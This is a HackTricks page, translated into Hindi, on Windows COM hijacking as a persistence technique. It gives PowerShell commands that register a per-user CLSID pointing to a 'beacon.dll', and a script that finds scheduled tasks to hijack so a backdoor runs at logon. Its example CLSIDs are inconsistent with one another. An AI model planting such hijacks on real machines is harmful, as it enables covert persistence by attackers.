hacktricks/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

9.3 KiB

COM हाइजैकिंग

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

अस्तित्व में न होने वाले COM components की खोज

जैसा कि HKCU के मान उपयोगकर्ताओं द्वारा संशोधित किए जा सकते हैं, COM हाइजैकिंग को एक स्थायी तंत्र के रूप में उपयोग किया जा सकता है। procmon का उपयोग करके ऐसे खोजे गए COM रजिस्ट्री को आसानी से खोजा जा सकता है जो मौजूद नहीं हैं और जिन्हें एक हमलावर स्थायी रूप में बना सकता है। फ़िल्टर:

  • RegOpenKey ऑपरेशन।
  • जहां परिणाम NAME NOT FOUND है।
  • और पथ InprocServer32 से समाप्त होता है।

एक बार जब आपने तय कर लिया है कि कौन सा अस्तित्व में न होने वाला COM अनुकरण करना है, तो निम्नलिखित कमांडों को निष्पादित करें। सतर्क रहें अगर आप कुछ ही सेकंड में लोड होने वाले COM का अनुकरण करने का निर्णय लेते हैं, क्योंकि यह अत्यधिक हो सकता है।

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

हाइजैक करने योग्य टास्क स्केड्यूलर COM components

विंडोज टास्क वास्तव में कस्टम ट्रिगर्स का उपयोग करके सीओएम ऑब्जेक्ट को कॉल करते हैं। और क्योंकि वे टास्क स्केड्यूलर के माध्यम से निष्पादित होते हैं, इसलिए यह पूर्वानुमान लगाना आसान हो जाता है कि वे कब ट्रिगर होंगे।

# COM CLSIDs दिखाएं
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# नमूना आउटपुट:
# Task Name:  Example
# Task Path:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [पिछले जैसा और भी अधिक...]

आउटपुट की जांच करके आप एक को चुन सकते हैं जो हर बार जब एक उपयोगकर्ता लॉग इन करता है को निष्पादित किया जाएगा।

अब HKEY_CLASSES_ROOT\CLSID और HKLM और HKCU में CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} की खोज करते हुए, आपको आमतौर पर पाया जाएगा कि मान HKCU में मौजूद नहीं है।

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

तो, आप बस HKCU प्रविष्टि बना सकते हैं और हर बार जब उपयोगकर्ता लॉग इन करता है, आपका बैकडोर चलेगा।

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥